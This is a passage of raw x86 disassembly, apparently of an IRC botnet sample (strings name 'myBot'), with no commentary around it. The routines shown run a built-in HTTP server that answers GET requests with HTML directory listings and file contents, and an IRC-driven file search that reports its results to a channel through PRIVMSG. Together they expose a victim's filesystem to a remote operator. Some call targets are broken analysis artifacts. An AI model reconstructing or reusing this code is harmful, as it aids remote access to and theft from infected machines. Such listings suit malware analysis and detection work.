0FFFFFFFFh jz loc_40FEBC xor esi, esi mov [ebp+var_4], esi loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB8C0 test eax, eax jz loc_40FEA7 cmp esi, [ebp+var_C] jnz short loc_40FC65 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CBA68 cmp eax, 0FFFFFFFFh jz loc_40FEA7 xor ecx, ecx test ebx, ebx jbe short loc_40FC37 lea edx, [ebp+var_134] loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj cmp [edx], eax jz short loc_40FC37 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FC2B loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj ; sub_40FAD6+157j cmp ecx, ebx jnz short loc_40FC54 cmp ebx, 40h jnb short loc_40FC54 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC54: ; CODE XREF: sub_40FAD6+163j ; sub_40FAD6+168j cmp eax, [ebp+var_8] jbe loc_40FEA7 mov [ebp+var_8], eax jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FC65: ; CODE XREF: sub_40FAD6+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BF70 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB9EC test eax, eax jg short loc_40FCF8 push esi call dword_4CBA6C xor ecx, ecx test ebx, ebx jbe loc_40FEA7 lea eax, [ebp+var_134] loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj cmp [eax], esi jz short loc_40FCC8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FCB7 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCEC lea eax, [ebp+ecx*4+var_134] loc_40FCD6: ; CODE XREF: sub_40FAD6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCD6 loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BF70 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B9C0 add esp, 10h test eax, eax jbe loc_40FEA7 loc_40FD26: ; CODE XREF: sub_40FAD6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FDCB mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40FD9F lea eax, [ebp+var_18F0] push eax call sub_41B9C0 cmp eax, 5 pop ecx jbe short loc_40FD9F mov eax, offset asc_42CDC0 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41CAD4 push eax lea eax, [ebp+var_23C] push eax call sub_41C890 add esp, 10h jmp short loc_40FDB6 ; --------------------------------------------------------------------------- loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj ; sub_40FAD6+291j lea eax, [ebp+var_18F0] push offset asc_4349EC ; "\r\n" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40FDEA loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FDCB: ; CODE XREF: sub_40FAD6+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B9C0 cmp [ebp+arg_0], eax pop ecx jb loc_40FD26 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE34 lea eax, [ebp+var_134] loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FE07 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDF6 jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FAD6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FE2B lea eax, [ebp+ecx*4+var_134] loc_40FE15: ; CODE XREF: sub_40FAD6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FE15 loc_40FE2B: ; CODE XREF: sub_40FAD6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE34: ; CODE XREF: sub_40FAD6+318j mov esi, [ebp+var_4] loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj ; sub_40FAD6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FEA0 lea eax, [ebp+var_360] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FEA0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CBA70 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4100B4 add esp, 14h jmp short loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FEA0: ; CODE XREF: sub_40FAD6+369j ; sub_40FAD6+38Fj push esi call dword_4CBA6C loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj ; sub_40FAD6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBE3 jmp loc_40FBAD ; --------------------------------------------------------------------------- loc_40FEBC: ; CODE XREF: sub_40FAD6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj ; sub_40FAD6+92j ... call dword_4CB968 push eax lea eax, [ebp+var_8F0] push offset unk_4349C4 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FF07 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409869 add esp, 14h loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj lea eax, [ebp+var_8F0] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_254] call sub_40B6D6 pop ecx push ebx nop call near ptr 2710000h pop edi pop esi pop ebx sub_40FAD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C500 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41C266 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40FF97 push offset aTextHtml ; "text/html" jmp short loc_40FF9C ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40FF31+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40FF9C: ; CODE XREF: sub_40FF31+64j lea eax, [ebp+var_9C] push eax call sub_41C266 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2780000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2771561h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_410015 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 24h jmp short loc_410036 ; --------------------------------------------------------------------------- loc_410015: ; CODE XREF: sub_40FF31+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 28h loc_410036: ; CODE XREF: sub_40FF31+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1654] push eax loc_41004C: ; DATA XREF: ___:004385A8o ; ___:004385BCo push [ebp+var_44C] call dword_4CBA24 cmp [ebp+var_A4], edi jnz short loc_410076 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4109F1 pop ecx pop ecx jmp short loc_410093 ; --------------------------------------------------------------------------- loc_410076: ; CODE XREF: sub_40FF31+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_41036B add esp, 10h loc_410093: ; CODE XREF: sub_40FF31+143j push [ebp+var_44C] call dword_4CBA6C push [ebp+var_B4] call sub_40B6D6 pop ecx push edi nop call near ptr 2710000h pop edi pop esi sub_40FF31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BF70 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100EA push eax push offset aS_3 ; "\\%s" jmp short loc_4100F3 ; --------------------------------------------------------------------------- loc_4100EA: ; CODE XREF: sub_4100B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_4100F3: ; CODE XREF: sub_4100B4+34j lea eax, [ebp+var_10C] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B9C0 test eax, eax pop ecx jbe short loc_41018E mov [ebp+arg_8], 2 loc_41011E: ; CODE XREF: sub_4100B4+D8j lea eax, [ebp+var_10C] push eax call sub_41B9C0 cmp [ebp+arg_8], eax pop ecx jnb short loc_41015E cmp [ebp+esi+var_10C], 25h jnz short loc_41015E cmp [ebp+esi+var_10B], 32h jnz short loc_41015E cmp [ebp+esi+var_10A], 30h jnz short loc_41015E inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410178 ; --------------------------------------------------------------------------- loc_41015E: ; CODE XREF: sub_4100B4+7Aj ; sub_4100B4+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_41016E push 5Ch pop eax jmp short loc_410171 ; --------------------------------------------------------------------------- loc_41016E: ; CODE XREF: sub_4100B4+B3j movsx eax, al loc_410171: ; CODE XREF: sub_4100B4+B8j mov [ebp+ebx+var_210], al loc_410178: ; CODE XREF: sub_4100B4+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B9C0 cmp esi, eax pop ecx jb short loc_41011E loc_41018E: ; CODE XREF: sub_4100B4+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429AC8 push eax call sub_41C266 lea eax, [ebp+var_314] push offset asc_42A080 ; "\n" push eax call sub_41CAD4 add esp, 18h lea eax, [ebp+var_314] push eax call near ptr 26B0B43h nop push 1 cmp eax, 10h pop esi jz short loc_4101DF cmp eax, 0FFFFFFFFh jnz short loc_4101E2 push [ebp+arg_0] jmp loc_410262 ; --------------------------------------------------------------------------- loc_4101DF: ; CODE XREF: sub_4100B4+11Cj mov [ebp+var_4], esi loc_4101E2: ; CODE XREF: sub_4100B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101EF mov [ebp+var_4], esi loc_4101EF: ; CODE XREF: sub_4100B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_41026D cmp [ebp+arg_C], edi jz short loc_410261 lea eax, [ebp+var_314] push offset asc_434C78 ; "*" push eax call sub_41C8A0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41C266 lea eax, [ebp+var_210] push eax call sub_410AAE add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C266 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4102BC ; --------------------------------------------------------------------------- loc_410261: ; CODE XREF: sub_4100B4+152j push ebx loc_410262: ; CODE XREF: sub_4100B4+126j call dword_4CBA6C jmp loc_410364 ; --------------------------------------------------------------------------- loc_41026D: ; CODE XREF: sub_4100B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call near ptr 27506FCh nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4102BC lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C266 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 2790000h nop push esi mov [ebp+var_330], eax nop call near ptr 26808BBh loc_4102BC: ; CODE XREF: sub_4100B4+1ABj ; sub_4100B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_434C44 push eax call sub_41C266 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B3BA mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E914[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FF31 push edi push edi nop call near ptr 26A06F9h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_410336 loc_410324: ; CODE XREF: sub_4100B4+280j cmp [ebp+var_318], edi jnz short loc_410364 push 5 nop call near ptr 26A068Bh jmp short loc_410324 ; --------------------------------------------------------------------------- loc_410336: ; CODE XREF: sub_4100B4+26Ej push ebx call dword_4CBA6C nop call near ptr 26B0669h push eax lea eax, [ebp+var_8C4] push offset unk_434C0C push eax call sub_41C266 lea eax, [ebp+var_8C4] push eax call sub_415D38 add esp, 10h loc_410364: ; CODE XREF: sub_4100B4+1B4j ; sub_4100B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4100B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p ; sub_40FF31+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BF70 mov edi, [ebp+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41CAD4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4103CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C360 add esp, 14h jmp loc_4104C9 ; --------------------------------------------------------------------------- loc_4103CA: ; CODE XREF: sub_41036B+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4104AF call sub_41B9C0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push edi call sub_41B9C0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 0Ch jmp short loc_4104C9 ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_41036B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h loc_4104C9: ; CODE XREF: sub_41036B+5Aj ; sub_41036B+142j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 cmp [ebp+arg_C], ebx jz short loc_410564 push [ebp+arg_C] call sub_41B9C0 cmp eax, 2 pop ecx jbe short loc_410564 push [ebp+arg_C] call sub_41B9C0 sub eax, 3 pop ecx jz short loc_410515 loc_410509: ; CODE XREF: sub_41036B+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_410515 dec eax jnz short loc_410509 loc_410515: ; CODE XREF: sub_41036B+19Cj ; sub_41036B+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BFD0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 loc_410564: ; CODE XREF: sub_41036B+180j ; sub_41036B+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 27B0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 27A0000h nop test eax, eax jz loc_410954 mov edi, 1FFh loc_410590: ; CODE XREF: sub_41036B+5E3j cmp [ebp+var_388], ebx jz loc_41093C lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 2790872h nop lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2790328h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_410605 mov ecx, offset aAm ; "AM" loc_410605: ; CODE XREF: sub_41036B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_410611 sub eax, 0Ch loc_410611: ; CODE XREF: sub_41036B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C266 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4107B4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410685 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_4108FD ; --------------------------------------------------------------------------- loc_410685: ; CODE XREF: sub_41036B+2E0j cmp [ebp+arg_C], ebx jz loc_41076F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410725 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_41072A ; --------------------------------------------------------------------------- loc_410725: ; CODE XREF: sub_41036B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_41072A: ; CODE XREF: sub_41036B+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108FE ; --------------------------------------------------------------------------- loc_41076F: ; CODE XREF: sub_41036B+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 14h jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107B4: ; CODE XREF: sub_41036B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107F3 push ebx push [ebp+var_368] call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4107DF: ; CODE XREF: sub_41036B+577j lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 1Ch jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107F3: ; CODE XREF: sub_41036B+44Fj cmp [ebp+arg_C], ebx jz loc_4108E7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429AC8 push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410893 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410898 ; --------------------------------------------------------------------------- loc_410893: ; CODE XREF: sub_41036B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410898: ; CODE XREF: sub_41036B+526j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4107DF ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: sub_41036B+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_4108FD: ; CODE XREF: sub_41036B+315j push esi loc_4108FE: ; CODE XREF: sub_41036B+3FFj lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 18h loc_41090D: ; CODE XREF: sub_41036B+444j ; sub_41036B+483j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 cmp [ebp+arg_8], ebx jz short loc_41093C push 7D0h nop call near ptr 26A068Bh loc_41093C: ; CODE XREF: sub_41036B+22Bj ; sub_41036B+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 27A0000h nop test eax, eax jnz loc_410590 loc_410954: ; CODE XREF: sub_41036B+21Aj push [ebp+arg_0] nop call near ptr 25F0000h cmp [ebp+arg_8], ebx jz short loc_410997 mov eax, [ebp+var_8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C266 add esp, 14h jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_41036B+5F5j cmp [ebp+arg_C], ebx jz short loc_4109B1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C266 pop ecx pop ecx jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_4109B1: ; CODE XREF: sub_41036B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C266 add esp, 10h loc_4109CB: ; CODE XREF: sub_41036B+62Aj ; sub_41036B+644j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 pop edi pop esi xor eax, eax pop ebx leave retn sub_41036B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 27506FCh mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410AA9 push esi push ebx nop call near ptr 2790000h cmp eax, esi mov [ebp+arg_4], eax jz short loc_410AA2 loc_410A36: ; CODE XREF: sub_4109F1+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BF70 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410A53 mov edi, [ebp+arg_4] loc_410A53: ; CODE XREF: sub_4109F1+5Dj mov eax, 